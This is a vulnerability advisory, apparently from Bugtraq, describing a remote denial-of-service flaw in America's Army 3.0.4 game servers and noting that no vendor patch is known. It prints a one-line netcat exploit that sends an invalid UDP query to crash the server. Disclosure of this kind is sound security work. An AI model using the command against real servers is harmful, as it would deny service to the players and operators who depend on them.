America's Army Invalid Query Remote Denial of Service Vulnerability

Bugtraq ID:	35703
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Jul 06 2009 12:00AM
Updated:	Jul 16 2009 10:56PM
Credit:	Luigi Auriemma
Vulnerable:	America's Army America's Army 3.0.4
Not Vulnerable:

America's Army Invalid Query Remote Denial of Service Vulnerability

America's Army is prone to a remote denial-of-service vulnerability because the application fails to properly handle invalid queries.

Exploiting this issue allows remote attackers to cause the application to crash, effectively denying service to legitimate users.

America's Army 3.0.4 and prior versions are vulnerable.

America's Army Invalid Query Remote Denial of Service Vulnerability

The following exploit is available:

echo blah | nc SERVER 39300 -v -v -u

America's Army Invalid Query Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

America's Army Invalid Query Remote Denial of Service Vulnerability

References:

• Vendor Homepage (America's Army)
  
• America's Army 3 NULL pointer (Luigi Auriemma)